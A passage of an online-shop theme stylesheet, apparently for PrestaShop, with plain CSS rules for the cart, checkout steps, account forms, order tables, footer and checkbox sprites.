	height:24px;

	width:19px

}

#cart_block .remove_link a {

	display:block;

	z-index:9;

	height:24px;

	width:19px;

	margin-top:0;

	margin-left:5px;

	font-size:24px;

	line-height:24px

}

#cart_block .remove_link a:hover {

	color:#A9A9A9

}

#cart_block .products .price {

	display:inline-block;

	padding:15px 0 5px 0;

	width:150px;

	font-size:18px

}

#cart_block table#vouchers {

	clear:both;

	width:100%;

	position:relative;

	border:none;

	background:none

}

#cart_block table#vouchers td {

	border:none

}

#cart_block table#vouchers td.quantity {

	margin-right:5px;

	min-width:18px

}

#cart_block table#vouchers td.delete a {

	padding:0;

	width:9px;

	height:9px;

	position:absolute;

	right:0;

	top:7px

}

#cart_block ul.cart_block_customizations {

	padding:0 0 0 13px;

	list-style:none

}

#cart_block ul.cart_block_customizations li {

	font:11px/15px "Arial"

}

#cart_block ul.cart_block_customizations li .quantity-formated {

	line-height:14px

}

#cart_block ul.cart_block_customizations div.deleteCustomizableProduct {

	width:9px;

	height:9px;

	position:absolute;

	right:3px;

	top:3px

}

#cart_block ul.cart_block_customizations div.deleteCustomizableProduct a {

	display:block;

	background:url(../images/delete.gif) no-repeat 0 0;

	height:9px;

	width:9px

}

#cart_block .cart-prices div {

	border-top:1px solid #e7e4de;

	padding:7px 0 7px 0

}

#cart_block #cart_block_shipping_cost, #cart_block #cart_block_total, #cart_block #cart_block_wrapping_cost {

	float:right

}

#cart_block #cart-buttons {

	display:block

}

#cart_block #cart-buttons #button_order_cart {

	float:left

}

#cart_block p#cart-buttons {

	padding:10px 0 0 0;

	margin:0;

	border-top:1px solid #e7e4de;

	overflow:hidden

}

#cart_block p#cart-buttons a.button_mini {

	float:left;

	margin-right:10px

}

#breadcrumb-container {

	background:#fff;

	padding:0;

	margin:-10px 0 20px

}

.breadcrumb {

	display:block;
	padding:0;
	border-radius:0;
	background:#fff;
	color:#000;
	font-size:14px;
	margin: 0 0 10px;

}

.breadcrumb > * {

	display:inline-block

}

.breadcrumb .navigation_page div {

	display:inline-block

}

.breadcrumb .navigation-pipe {

	margin:0 5px

}

.breadcrumb .navigation_page .navigation-pipe {

	color:transparent;

	margin-right:0

}

.breadcrumb .navigation_page .navigation-pipe:before {

	content:"\f101";

	display:inline-block;

	font-family:Fontawesome

}

.breadcrumb a {

	display:inline-block;

	color:#444

}

.contact-form-box label {

	color:#909090

}

.contact-form-box #uniform-id_contact span {

	color:#909090

}

.contact-form-box div.form-group .selector {

	width:100% !important

}

#order-list td.history_invoice i {

	font-size:25px;

	vertical-align:-1px

}

.myaccount ul {

	padding-bottom:10px

}

.favoriteproducts img {

	width:16px;

	height:16px

}

table#order-list td.history_link a {

	font-weight:bold;

	color:#a9a9a9

}

#block-history #block-order-detail table.std td.inputs input.order_qte_input {

	float:left;

	height:15px;

	padding:1px

}

.align_center {

	text-align:center

}

.top_indent {

	margin-top:20px

}

#block-history #block-order-detail table.std td.inputs label {

	display:block;

	float:left;

	padding:2px 0 0 7px;

	font-weight:bold

}

#block-history h3 {

	padding:17px 0 0 0

}

div#order-detail-content table.std th {

	padding:15px 12px

}

form#sendOrderMessage p.submit {

	padding:0 0 0 0

}

.info-order strong {

	color:#333333

}

.addresses #sendOrderMessage label {

	display:block;

	padding-bottom:4px

}

#conditionsValided + label {

	display:inline

}

table.discount {

	margin:17px 0 0 0

}

table.discount td.discount_code {

	font-weight:bold

}

table.discount td.discount_value {

	white-space:nowrap

}

body#discount div.center_column sup {

	vertical-align:top

}

.delivery_options {

	padding-top:20px

}

.delivery_options_address .delivery_option_radio {

	margin:0 auto 0 auto

}

.delivery_options_address table td:first-child {

	text-align:center;

	vertical-align:middle;

	padding-left:12px

}

.delivery_options_address table td.delivery_option_logo {

	vertical-align:middle;

	text-align:center

}

.delivery_options_address .delivery_options label {

	display:block

}

table.delivery_option_carrier {

	background:#D9EDF7;

	border:1px solid #BCE8F1

}

table.delivery_option_carrier td {

	border:1px solid #BCE8F1;

	color:#3A87AD;

	text-transform:none;

	font-size:12px

}

.order_delivery .address.first_item, .addresses #address_delivery {

	padding:20px;

	border:1px solid #e7e4de;

	background:#fff;

	margin-bottom:20px

}

.order_delivery .address.alternate_item, .addresses #address_invoice {

	padding:20px;

	border:1px solid #e7e4de;

	background:#fff;

	margin-bottom:20px

}

#order-detail-content-table .td-3 {

	text-align:center

}

.cart_total_price.cart_last_tr .price {

	font-size:18px;

	color:#a9a9a9

}

#order-detail-content-table tfoot tr.item td {

	border-left:none;

	border-right:none;

	border-bottom:none

}

#order-detail-content-table tfoot tr.item:first-child td {

	border:none

}

#order-detail-content-table td.order_cb, #order-detail-content-table td.checkbox_type {

	width:50px;

	text-align:center

}

.footable tfoot td {

	display:table-cell !important

}

.sheets {

	margin-top:20px

}

#create-account_form {

	min-height:298px

}

.account_creation {

	margin-bottom:2em

}

#my-account div#center_column ul.myaccount-link-list li {

	padding:7px 0

}

#my-account div#center_column ul.myaccount-link-list li i {

	display:inline-block;

	font-size:18px;

	line-height:18px;

	width:24px;

	vertical-align:-1px

}

#account-creation_form #passwd {

	float:left;

	margin-right:20px

}

span.radio_title {

	display:block;

	margin-bottom:7px;

	text-align:left

}

#identity #center_column .std input[type='checkbox'] {

	margin-right:7px

}

#identity #center_column .std input[type='checkbox'] + label {

	display:inline

}

#account-creation_form p.radio label {

	padding-right:10px

}

form#account-creation_form p.radio label, #identity p.radio label, #new_account_form p.radio label {

	display:inline-block;

	float:left;

	padding:0 25px 0 3px

}

form#account-creation_form textarea {

	width:210px;

	max-width:563px

}

#identity p.radio {

	padding:0

}

.content_sortPagiBar {

	background:#fff;

	padding:5px 10px 4px 10px;

	border:solid 1px #e3e1e1;

	margin:0 0 15px

}

.content_sortPagiBar .sortPagiBar {

	margin:0;

	padding:0;

	clear:both

}

.content_sortPagiBar .sortPagiBar form {

	margin:0;

	margin-left:9%

}

.content_sortPagiBar .sortPagiBar .selector {

	width:170px !important;

	height:28px;

	position:relative;

	background:#fff;

	padding:0;

	line-height:25px

}

.content_sortPagiBar .sortPagiBar .selector span {

	padding:0 10px;

	background:#fff;

	color:#404040;

	width:100% !important;

	text-shadow:none;

	position:absolute;

	z-index:-1;

	opacity:0

}

.content_sortPagiBar .sortPagiBar .selector select {

	padding:6px;

	width:100%;

	position:absolute;

	opacity:1;

	top:auto;

	left:0 !important;

	height:100%;

	border:solid 1px #e2e2e2;

	box-shadow:none

}

.content_sortPagiBar .sortPagiBar .selector:after {

	content:"\f0d7";

	background:#fff;

	color:#8d8d8d;

	text-align:center;

	margin:0;

	position:absolute;

	right:1px;

	top:1px;

	height:26px;

	width:26px;

	pointer-events:none;

	-ms-pointer-events:none;

	-webkit-pointer-events:none;

	font-family:Fontawesome

}

.content_sortPagiBar .sortPagiBar .selector#uniform-nb_item {

	width:55px !important;

	display:inline-block;

	margin-right:5px

}

.content_sortPagiBar .sortPagiBar .button {

	min-width:inherit;

	padding:6px 10px;

	margin-top:-2px

}

.content_sortPagiBar .sortPagiBar .compare-form {

	margin:0;

	display:none

}

.content_sortPagiBar .sortPagiBar label, .content_sortPagiBar .sortPagiBar select {

	float:left;

	font-weight:normal

}

.content_sortPagiBar .sortPagiBar label {

	padding:6px 7px 0 0;

	color:#404040

}

.content_sortPagiBar .sortPagiBar.instant_search #productsSortForm {

	display:none

}

.content_sortPagiBar .display li {

	display:inline-block;

	float:left;

	width:30px;

	height:30px;

	overflow:hidden;

	text-indent:-9999px;

	background-repeat:no-repeat;

	transition:0.2s;

	transition:0.2s;

	cursor:pointer

}

.content_sortPagiBar .display li.selected, .content_sortPagiBar .display li:hover {

	background-position:left bottom

}

.content_sortPagiBar .display_m {

	float:left;

	margin:5px 10px 0 0

}

.content_sortPagiBar .display_m li {

	float:left;

	margin-right:8px

}

.content_sortPagiBar .display_m li a {

	display:block;

	cursor:pointer;

	height:19px;

	width:19px;

	background-position:center center;

	background-repeat:no-repeat

}

.content_sortPagiBar .display_m li#grid a {

	background-image:url(../images/icon_gridview.png)

}

.content_sortPagiBar .display_m li#list a {

	background-image:url(../images/icon_listview.png)

}

form.identity p.radio input {

	top:3px

}

form.identity p.radio label {

	display:inline-block;

	padding:0 15px 0 3px;

	line-height:19px

}

form.identity p.required_desc {

	padding:20px 0 0 157px

}

#opc_new_account form#login_form {

	margin-bottom:0

}

#orderopc #left_column {

	display:none

}

#orderopc #center_column {

	width:757px

}

#orderopc #left_column h2 {

	margin-top:20px

}

#opc_account_choice {

	padding:0 0

}

#login_form_content {

	padding:20px 5%;

	background:#f5f5f5;

	border:1px solid #e7e4de

}

#opc_account_form input.text, #new_account_form #opc_account_form textarea {

	width:100%

}

#opc_account_form input[type='checkbox'] + label {

	display:inline

}

#opc_account_choice .opc_float {

	padding:10px 5%;

	background:#f5f5f5;

	border:1px solid #e7e4de;

	margin-bottom:15px

}

#opc_account_choice .opc_float ul {

	margin:0 0 20px 30px

}

#new_account_form p.textarea textarea {

	height:80px;

	width:205px

}

#new_account_form span.form_info, #new_account_form span.inline-infos {

	display:block;

	margin:5px 0 0 0;

	color:#666666

}

#order #loyalty {

	margin:10px 0 12px 0;

	font-size:13px;

	padding:20px 0 20px 0;

	border-top:1px solid #e7e4de

}

#order #loyalty img {

	margin-right:10px

}

.short_description_pack {

	padding:10px 0 0 0

}

.short_description_pack h3 {

	padding:5px 0 0 0;

	margin:0

}

.short_description_pack p {

	padding:5px 0 0 0

}

.short_description_pack .pack_content {

	padding:10px 0 0 0

}

.pack_content {

	margin:5px 0 5px 0

}

#pb-left-column #color_picker p {

	padding-bottom:5px;

	font-weight:bold

}

span.our_price_display {

	display:inline-block;

	padding-top:7px;

	font-size:24px;

	line-height:18px

}

*:first-child + html .content_prices #add_to_cart .exclusive {

	padding:4px 3px 4px 11px

}

div.footer-container {

	padding:0;

	position:relative;

	overflow:hidden

}

div.footer-container .footer-logo {

	margin-top:30px

}

div.footer-container .box-footer {

	margin-bottom:20px;

	margin-top:30px

}

div.footer-container .box-footer.social_block {

	margin-top:0

}

div.footer-container .box-footer.footer-account {

	border-left:1px solid #dddddd;

	border-right:1px solid #dddddd;

	padding-left:20px

}

div.footer-container .box-footer.footer-block h2 {

	margin-top:0

}

div.footer-container .box-footer.contact-infos {

	margin-bottom:10px;

	background:transparent;

	padding-top:0;

	border-left:1px solid #dddddd

}

div.footer-container .box-footer.social_block {

	margin-bottom:0

}

div.footer-container h3, div.footer-container h3.mod-title {

	font-size:18px;

	color:#444;

	font-weight:600;

	text-transform:uppercase;

	padding:0 0 8px;

	margin:0 0 10px !important

}

div.footer-container .paiement_logo_block {

	text-align:right

}

div.footer-container .paiement_logo_block img {

	-webkit-transition:all 0.3s ease 0s;

	transition:all 0.3s ease 0s

}

div.footer-container .paiement_logo_block a:hover img {

	opacity:0.5;

	filter:alpha(opacity=50)

}

div.footer-container .list-link {

	margin:0;

	padding-left:10px

}

div.footer-container .list-link li {

	color:#fff

}

div.footer-container .list-link li ul {

	display:none !important

}

div.footer-container .list-link li:last-child {

	border-bottom:none

}

div.footer-container .list-link li a {

	display:block;

	color:#666;

	font-size:12px

}

div.footer-container .list-link li a:before {

	display:inline-block;

	content:"\f101";

	font-family:FontAwesome;

	color:#666;

	margin-right:3px;

	margin-left:-10px;

	transition:0.3s all ease 0s

}

div.footer-container .list-link li a:hover:before {

	opacity:1;

	margin-left:0

}

div.footer-container ul.payment-method {

	padding-top:25px;

	border-bottom:0

}

div.footer-container ul.payment-method li {

	display:inline-block;

	margin-right:7px

}

div.footer-container #tool_customization h3:after {

	display:none

}

div.footer-container #footer {

	background:#eee

}

div.footer-container #footer-bottom {

	background-color:#dddddd;

	padding:8px 0

}

#order .p-cart {

	font-size:13px;

	text-transform:uppercase;

	color:#535353;

	padding-bottom:15px;

	border-bottom:1px solid #e5e5e5

}

#order_step {

	overflow:hidden;

	margin:0 0 20px 0

}

#order_step li {

	float:left;

	width:20%;

	text-align:center;

	background:#ccc;

	border-right:1px solid #fff

}

#order_step li span {

	display:block;

	padding:5px 0 5px 0;

	font-weight:bold

}

#order_step li span em {

	font-style:normal

}

#order_step li span span {

	color:#fff;

	font-weight:bold;

	font-size:27px;

	line-height:27px

}

#order_step li a {

	font-weight:bold;

	background:#777;

	display:block;

	color:white;

	padding:5px 0 5px 0;

	text-decoration:none

}

#order_step li a em {

	font-style:normal

}

#order_step li.even {

	background:url(../images/marker-order.png) 0 29px no-repeat #9c9c9c

}

#order_step li.even:first-child {

	background:#9c9c9c

}

#order_step li.even.step_current:first-child {

	background:#202020

}

#order_step li.odd {

	background:url(../images/marker-order.png) 0 29px no-repeat #777777

}

#order_step li.step_current {

	color:white

}

.cart_last_product {

	display:none;

	background:#f1f1f1;

	border:1px solid #e7e7e7;

	border-radius:0;

	margin:0 0 30px;

	padding:7px 15px

}

#hideWishlist {

	display:block;

	padding:10px 0

}

table#cart_summary h5 {

	padding-bottom:10px

}

table#cart_summary .cart-atr {

	display:inline-block;

	padding-bottom:5px

}

#order-detail-content .title-th {

	display:inline-block;

	float:left;

	padding-right:10px;

	font-weight:bold;

	color:#333;

	line-height:26px

}

table#cart_summary tr {

	border-bottom:1px solid #e7e4de

}

table#cart_summary tr.cart_last_tr {

	border:none

}

table#cart_summary .insset-bottom {

	padding-bottom:16px;

	padding-top:0

}

.cart_quantity_title {

	padding:3px 10px 0 0

}

table#cart_summary tbody tr {

	border-top:1px solid #e7e4de

}

table#cart_summary td {

	border:none;

	vertical-align:top;

	font-weight:bold;

	text-align:center

}

table#cart_summary td.cart_total {

	text-align:right

}

table#cart_summary td.cart_unit .old-price {

	text-decoration:line-through;

	color:#999;

	font-size:13px

}

table#cart_summary td.cart_unit .price-percent-reduction {

	margin:0 5px

}

table#cart_summary td.cart_product img {

	border:solid 1px #ddd;

	padding:1px

}

table#cart_summary .customization {

	border-color:#e7e4de

}

table#cart_summary tr ul {

	list-style:none

}

table#cart_summary .customizationUploaded {

	margin-bottom:10px

}

table#cart_summary .cart_quantity .cart_quantity_down {

	float:left

}

table#cart_summary .cart_discount_name {

	color:#333;

	text-transform:uppercase;

	vertical-align:middle

}

table#cart_summary .cart_discount {

	border-width:1px 0 1px 0;

	border-style:solid

}

table#cart_summary .cart_delete .cart_quantity_delete i {

	font-size:24px

}

table#cart_summary .div_cart_quantity_delete {

	float:left

}

table#cart_summary .div_cart_quantity_delete a i {

	font-size:25px;

	line-height:25x;

	width:auto

}

table#cart_summary .customization .cart_quantity {

	padding:20px 0 20px 0;

	border:none;

	margin-bottom:0

}

table#cart_summary .cart_quantity .cart_quantity_input {

	float:left;

	height:25px;

	text-align:center;

	width:25px;

	margin:2px 5px 0 0;

	padding:0;

	border-radius:0;

	box-shadow:none

}

table#cart_summary .cart_quantity {

	width:125px

}

table#cart_summary .cart_quantity .cart_quantity_button {

	float:left

}

table#cart_summary .cart_quantity .cart_quantity_button .btn-default {

	margin:2px 5px;

	padding:2px 6px;

	color:#777;

	background:#F1F1F1 !important;

	border:1px solid #e7e4de;

	float:left

}

table#cart_summary .cart_quantity .cart_quantity_button .btn-default i {

	margin:0;

	line-height:19px

}

table#cart_summary a.price_discount_delete {

	margin-top:3px

}

table#cart_summary .cart_total_price .total_price_container {

	border-right:none

}

table#cart_summary .cart_total_price td.cart_voucher {

	vertical-align:middle;

	border-right:1px solid #e7e4de

}

table#cart_summary #total_price_container {

	vertical-align:middle

}

#cart_summary tfoot {

	font-weight:bold

}

#cart_summary .cart_last_tr #total_price {

	font-size:22px;

	font-weight:normal

}

table#cart_summary tfoot td {

	padding:10px;

	border:none;

	text-align:left

}

#total_price_container {

	vertical-align:middle

}

#cart_summary .price {

	border:none;

	white-space:nowrap

}

.total_price_container p {

	text-align:left

}

table#cart_summary .cart_total_price .total_price_container {

	padding:0

}

.cart_total_price .total_price_container p {

	display:block;

	padding:8px

}

.cart_total_price .total_price_container span {

	display:block;

	padding:15px 10px;

	font-size:18px

}

table#cart_summary .gift-icon {

	color:white;

	background:#0088CC;

	line-height:20px;

	padding:2px 5px;

	border-radius:5px

}

#id_order {

	width:100%

}

#uniform-id_contact {

	width:100% !important

}

#uniform-id_contact span {

	width:100% !important

}

table#cart_summary .min-with-td {

	display:inline-block;

	font-weight:normal;

	min-width:50px

}

table#cart_summary #cart_quantity_button .cart_quantity_down {

	background:url(../images/quantity_down_mob.png) 0 0 no-repeat;

	height:43px;

	width:45px

}

table#cart_summary #cart_quantity_button .cart_quantity_down:hover {

	opacity:0.5

}

table#cart_summary #cart_quantity_button .cart_quantity_up {

	float:left;

	background:url(../images/quantity_up_mob.png) 0 0 no-repeat;

	height:43px;

	width:45px

}

table#cart_summary #cart_quantity_button .cart_quantity_up:hover {

	opacity:0.5

}

table#cart_summary #cart_quantity_button .cart_quantity_up img, table#cart_summary #cart_quantity_button .cart_quantity_down img {

	display:none

}

.address-form-multishipping {

	padding:15px 3%;

	background:#fdfdfd;

	border:1px solid #e7e4de;

	margin-bottom:20px

}

table#cart_summary #cart_quantity_button span {

	line-height:43px

}

.cart_quantity_title {

	padding:11px 10px 0 0

}

table#cart_summary .div_cart_quantity_delete a {

	margin-top:7px;

	margin-left:20px;

	display:inline-block

}

#HOOK_SHOPPING_CART .page_product_box h3 i {

	display:none

}

form#voucher fieldset {

	border-top:2px solid #3a3a3a

}

form#voucher fieldset div#display_cart_vouchers h4 {

	margin:10px 0 0 0;

	padding:10px 0 0 0;

	border-top:1px solid #eee

}

form#voucher fieldset div#display_cart_vouchers div {

	padding:4px 0 0 0

}

form#voucher fieldset div#display_cart_vouchers span.voucher_name {

	font-weight:bold;

	text-decoration:underline;

	cursor:pointer

}

form#voucher fieldset div#display_cart_vouchers span.voucher_name:hover {

	text-decoration:none

}

#order_carrier {

	clear:both;

	margin-top:20px;

	border:1px solid #999

}

#order_carrier h4 {

	padding:0 15px

}

#order_carrier span {

	display:block;

	padding:15px;

	font-weight:bold

}

.multishipping_close_container {

	text-align:center;

	padding-top:10px

}

#compare_shipping ul#carriercompare_errors_list li {

	background:url("../images/warning.png") no-repeat 20px center #fde4e1;

	border:1px solid #EBBCB5;

	color:#DF0505;

	font-size:12px;

	font-weight:bold;

	padding-left:70px;

	margin-left:0 !important;

	margin-bottom:10px

}

#compare_shipping_form {

	padding:16px 0 0 0;

	border-top:2px solid #3a3a3a;

	margin-top:20px;

	margin-bottom:10px

}

#compare_shipping_form #compare_shipping {

	padding:0

}

#compare_shipping_form #compare_shipping h3 {

	text-transform:uppercase;

	margin:0 0 15px 0;

	position:relative;

	border-bottom:1px solid #ccc

}

#compare_shipping_form #compare_shipping h3 span {

	position:relative;

	z-index:1

}

#compare_shipping_form #compare_shipping .SE_SubmitRefreshCard {

	padding-top:20px

}

#compare_shipping_form #compare_shipping .SE_SubmitRefreshCard input {

	width:auto;

	margin-bottom:0;

	margin-right:16px

}

.cart_navigation {

	margin:20px 0

}

.cart_navigation .exclusive, .cart_navigation .exclusive_large {

	float:right

}

div#order_carrier {

	margin:20px 0 0 0;

	padding:10px;

	border-width:1px;

	border-style:solid

}

div#order_carrier h4 {

	float:left;

	padding:0 10px

}

#order p.cart_navigation.inner-top {

	border-top:1px solid #e7e4de

}

p.cart_navigation {

	clear:both;

	margin:0;

	padding:25px 0 0 0

}

p.cart_navigation.inner-top {

	margin-bottom:20px

}

p.cart_navigation .standard-checkout {

	float:right

}

#compare_shipping_form #availableCarriers {

	padding:15px 0 0 0;

	margin:0 !important

}

#compare_shipping_form #noCarrier {

	margin:12px 0 0;

	padding:10px 13px;

	text-align:center

}

#availableCarriers_table {

	width:100%;

	text-align:center;

	border:1px solid #e7e4de

}

#availableCarriers_table th {

	text-align:center;

	border:1px solid #e7e4de;

	padding:5px

}

#carriercompare_errors_list li {

	margin:0;

	padding:10px 0 10px 0

}

#availableCarriers_table td.radio {

	padding-top:20px;

	padding-bottom:0;

	text-align:center;

	border:none

}

#availableCarriers_table td {

	margin:0;

	padding:10px 5px;

	vertical-align:middle;

	border:1px solid #e7e4de

}

#availableCarriers_table td input {

	float:none;

	margin-top:0

}

#create-account_form .text input, #create-account_form .password input, #login_form .text input, #login_form .password input {

	width:100%;

	margin-bottom:0

}

#authentication #create-account_form .title_block {

	text-transform:none;

	font-size:13px;

	font-weight:bold;

	color:#7a7a7a

}

#authentication #create-account_form p.text, #authentication #login_form p.text {

	padding:14px 0 0 0

}

.cart_total {

	text-align:right

}

div.order_address p.select label {

	float:left;

	text-align:right;

	padding:2px 7px 0 0

}

div.order_address p#address_invoice_form a.button_large {

	margin:0 auto

}

div.order_address p.address_add {

	padding:20px 0 0 0;

	margin:0

}

div.order_address #ordermsg p {

	margin:0

}

div.order_address #ordermsg textarea {

	height:100px

}

#multishipping_mode_checkbox {

	vertical-align:top;

	margin-right:5px

}

#multishipping_mode_box .description {

	padding:10px 0

}

#multishipping_mode_box .description a {

	display:block;

	text-align:center

}

#multishipping_mode_box .description_off {

	display:none;

	padding:5px

}

#multishipping_mode_box .description_off div {

	margin-bottom:10px

}

#multishipping_mode_box.on .description_off {

	display:block

}

table.multishipping-cart td {

	padding:12px !important

}

table.multishipping-cart th {

	border-width:0 0 1px 0

}

.multishipping-cart .cart_quantity .cart_quantity_input {

	float:left;

	margin:0;

	height:22px;

	line-height:22px;

	border-left:0;

	border-right:0;

	text-align:center

}

.multishipping-cart .cart_quantity a {

	float:left

}

.multishipping-cart .cart_quantity {

	width:140px

}

#order-detail-content #cart_summary.multishipping-cart {

	border:1px solid #e7e4de;

	margin-bottom:20px

}

#order-detail-content #cart_summary.multishipping-cart td.cart_product {

	width:auto

}

#order-detail-content #cart_summary.multishipping-cart td.cart_quantity {

	width:155px

}

#order-detail-content {

	padding-top:0

}

#order-detail-content #cart_summary.multishipping-cart td {

	border:1px solid #e7e4de

}

table#carrierTable {

	margin:17px 0 0 0

}

table#carrierTable tr td.radio input {

	background:none;

	border:none;

	position:relative;

	top:1px;

	left:0

}

.payment_module img {

	float:left;

	vertical-align:middle;

	margin:0 10px 0 0

}

.payment_module a {

	display:block;

	background:#fdfdfd;

	border:1px solid #e7e4de;

	padding:15px;

	color:#333;

	text-decoration:none;

	text-align:left;

	overflow:hidden;

	font-weight:bold

}

div#order-opc h2.bordercolor {

	margin:20px 0 0 0;

	padding:17px 0 0 0;

	border-width:1px 0 0 0;

	border-style:solid

}

div#order-opc table#carrierTable {

	margin:17px 0 0 0

}

div#order-opc textarea#message {

	height:100px

}

#new_account_form {

	clear:both;

	margin-bottom:20px

}

#new_account_form h3 {

	margin-bottom:20px

}

#new_account_form #submitGuestAccount {

	float:right

}

#orderconfirmation #left_column {

	display:none

}

#orderconfirmation #center_column {

	width:757px

}

.orderconfirmation {

	border:1px solid #e7e4de;

	padding:20px;

	margin:30px 0 0 0;

	background:#f8f8f8

}

.orderconfirmation a {

	color:#0C0

}

.orderconfirmation a:hover {

	color:#333

}

ul.address li {

	line-height:25px

}

ul.address li .btn {

	color:#fff;

	margin-top:10px

}

ul.address li.address_title {

	margin:0 0 8px 0;

	color:#a9a9a9;

	font-size:13px;

	text-transform:uppercase;

	font-weight:bold

}

ul.address li.address_title h3 {

	margin:0

}

ul.address li.address_update {

	margin-right:10px

}

table.discount {

	margin:17px 0 0 0;

	font-family:Arial, Helvetica, sans-serif

}

table.discount td.discount_code {

	font-weight:bold

}

table.discount td.discount_value {

	white-space:nowrap

}

body#discount div.center_column sup {

	vertical-align:top

}

.description_box.cat_desc {

	border-bottom:1px solid #e7e4de;

	margin-bottom:20px

}

.title_manuf {

	display:block;

	padding:0 0 20px 0;

	margin:0;

	width:100%;

	overflow:hidden;

	text-align:right

}

.mnf_sup_list li {

	padding:0 0 20px 0;

	margin-bottom:20px

}

.mnf_sup_list li.last_item {

	border-bottom:none

}

.mnf_sup_list li .logo {

	padding-left:0

}

.mnf_sup_list li .right_side {

	padding-right:0

}

.mnf_sup_list li .left_side h3 {

	display:inline-block;

	padding:0 0 0 0;

	color:#7a7a7a;

	text-transform:uppercase;

	font-size:13px;

	margin:-4px 0 5px 0

}

.border_sep {

	border-right:1px solid #e7e4de

}

#search h3.nbresult {

	margin:10px 0 10px 0;

	padding:10px;

	border:1px solid #e6db55;

	font-size:13px;

	background:lightyellow

}

div.pagenotfound {

	text-align:center;

	margin:20px 0 0 0;

	padding:10px;

	line-height:32px

}

div.pagenotfound .form-control {

	display:inline-block;

	width:auto;

	vertical-align:middle

}

.pagenotfound .columns-container .column {

	display:none

}

.pagenotfound .columns-container .center_column {

	width:100%

}

#module-cheque-payment #columns form img {

	float:left;

	margin:0 20px 2px 0

}

#module-cheque-payment form select, #module-bankwire-payment form select {

	margin:20px 0 20px 0

}

.box-payment-style {

	padding:20px;

	border:1px solid #e7e4de;

	background:#fdfdfd

}

.box-payment-style ul li {

	margin-bottom:5px

}

.box-payment-style ul {

	padding-top:7px

}

#account-creation_form fieldset.reversoform {

	padding:10px !important

}

#account-creation_form fieldset.reversoform .text label {

	display:block;

	padding:0 0 10px 0;

	width:100%;

	text-align:left

}

#account-creation_form fieldset.reversoform .infos-sup {

	padding:0 !important;

	font-size:10px;

	font-style:italic;

	text-align:right

}

#footer .myaccount li.referralprogram img {

	display:none

}

#livezilla_lnk {

	margin:10px 0;

	text-align:right

}

#livezilla_lnk a {

	display:inline-block;

	padding:6px 8px 8px 8px;

	-moz-border-radius:3px;

	-webkit-border-radius:3px;

	border-radius:3px;

	font:bold 10px Arial, Verdana, sans-serif;

	color:#fff;

	text-shadow:0 -1px 0 #000;

	background:url(../images/bg_bt_compare.gif) repeat-x scroll 0 0 black

}

#livezilla_lnk a:hover {

	text-decoration:none

}

#opc_account.opc-main-block #address_invoice_form select {

	width:100%

}

#address_invoice_form label {

	display:block;

	padding-bottom:4px

}

#order #fancybox-content h2 {

	font-size:14px;

	text-transform:uppercase;

	color:#3a3a3a

}

.popup-extra h3 {

	color:#ed038a;

	font-size:14px;

	padding-bottom:7px

}

#module-favoriteproducts-favoriteproducts-account #left_column {

	display:none

}

#module-favoriteproducts-favoriteproducts-account #center_column {

	width:757px

}

#favoriteproducts_block_account .favoriteproduct {

	position:relative;

	margin-bottom:14px;

	margin-top:15px;

	border:1px solid #e7e4de;

	padding:20px

}

.favoriteproduct a.product_img_link {

	display:block;

	float:left;

	margin-right:14px;

	overflow:hidden;

	position:relative

}

.favoriteproduct h3 {

	color:#000000;

	font-size:13px;

	padding:0 0 10px

}

.favoriteproduct p.product_desc {

	line-height:16px;

	overflow:hidden;

	padding:0

}

.favoriteproduct .remove {

	position:absolute;

	top:15px;

	right:20px

}

.favoriteproduct .remove .icon {

	cursor:pointer

}

.shop_box {

	border-bottom:1px solid #e7e4de

}

.titled_box h2, .account_creation h3 {

	text-transform:uppercase;

	margin:0 0 15px 0;

	position:relative;

	border-bottom:1px solid #ccc

}

.titled_box h2 span, .account_creation h3 span {

	position:relative;

	z-index:1

}

.icon-style {

	width:16px;

	height:16px;

	background:url(../images-style.png) center center no-repeat

}

.shop_box_row {

	border-bottom:1px solid #e7e4de

}

.title_shop {

	color:#000;

	font-size:13px;

	font-style:italic;

	font-weight:bold

}

.lnk_more {

	display:inline-block;

	font-size:13px;

	color:#a9a9a9;

	line-height:16px;

	font-style:italic;

	font-weight:bold

}

.lnk_more:hover {

	color:#a9a9a9

}

.store_list li {

	padding:0 0 0 0;

	margin:0

}

.store_list li:first-child a {

	border:none

}

.store_list li.favoriteproducts a i, .store_list li.referralprogram a i, .store_list li.loyalty a i {

	display:none

}

.store_list li a {

	display:block;

	padding:7px 0 7px 0;

	border-top:1px solid #e7e4de

}

.store_list li a i {

	margin-right:10px

}

.content_list li {

	padding:0 0 10px 0;

	margin:0 0 0 0

}

.content_list li a i {

	padding-right:7px

}

.shop_table {

	vertical-align:middle

}

#order-detail-content-table input.order_qte_input + label {

	float:none

}

#order-detail-content-table td.expand label {

	cursor:pointer;

	margin:0

}

.shop_table th {

	border:1px solid #e7e4de

}

.shop_table th {

	font-weight:bold;

	padding:15px 20px;

	text-align:center;

	vertical-align:middle;

	text-transform:uppercase

}

.shop_table td {

	padding:10px 20px

}

.shop_table td .footable-row-detail-inner strong {

	display:inline-block;

	font-size:14px;

	font-weight:normal;

	margin:0 10px 10px 0;

	color:#333

}

.footable.breakpoint > tbody > tr > td.expand {

	background-image:url(../images/u.png);

	background-position:7px center;

	background-repeat:no-repeat;

	padding-left:40px;

	vertical-align:middle

}

.footable.breakpoint > tbody > tr.footable-detail-show > td.expand {

	background-image:url(../images/uu.png);

	padding-left:40px

}

.footable.breakpoint > tbody > tr > td.expand, .footable.breakpoint > tbody > tr.footable-detail-show > td.expand {

	cursor:pointer

}

.footable > tbody img {

	vertical-align:middle

}

div.checker span, div.radio span {

	top:0

}

div.radio {

	display:inline-block

}

p.radio {

	margin-top:0;

	margin-bottom:0

}

.checker, .uploader, .checker * {

	margin:0;

	padding:0

}

div.checker {

	float:left;

	width:19px;

	height:19px

}

div.checker input {

	width:19px;

	height:19px

}

div.checker span {

	background-position:0 -260px;

	height:19px;

	width:19px

}

div.checker:active span, div.checker.active span {

	background-position:-19px -260px

}

div.checker.focus span, div.checker:hover span {

	background-position:-38px -260px

}

div.checker.focus:active span, div.checker:active:hover span, div.checker.active:hover span, div.checker.focus.active span {

	background-position:-57px -260px

}

div.checker span.checked {

	background-position:-76px -260px

}

div.checker:active span.checked, div.checker.active span.checked {

	background-position:-95px -260px

}

div.checker.focus span.checked, div.checker:hover span.checked {

	background-position:-114px -260px

}

div.checker.focus:active span.checked, div.checker:hover:active span.checked, div.checker.active:hover span.checked, div.checker.active.focus span.checked {

	background-position:-133px -260px

}

div.checker.disabled span, div.checker.disabled:active span, div.checker.disabled.active span {

	background-position:-152px -260px

}

div.checker.disabled span.checked, div.checker.disabled:active span.checked, div.checker.disabled.active span.checked {

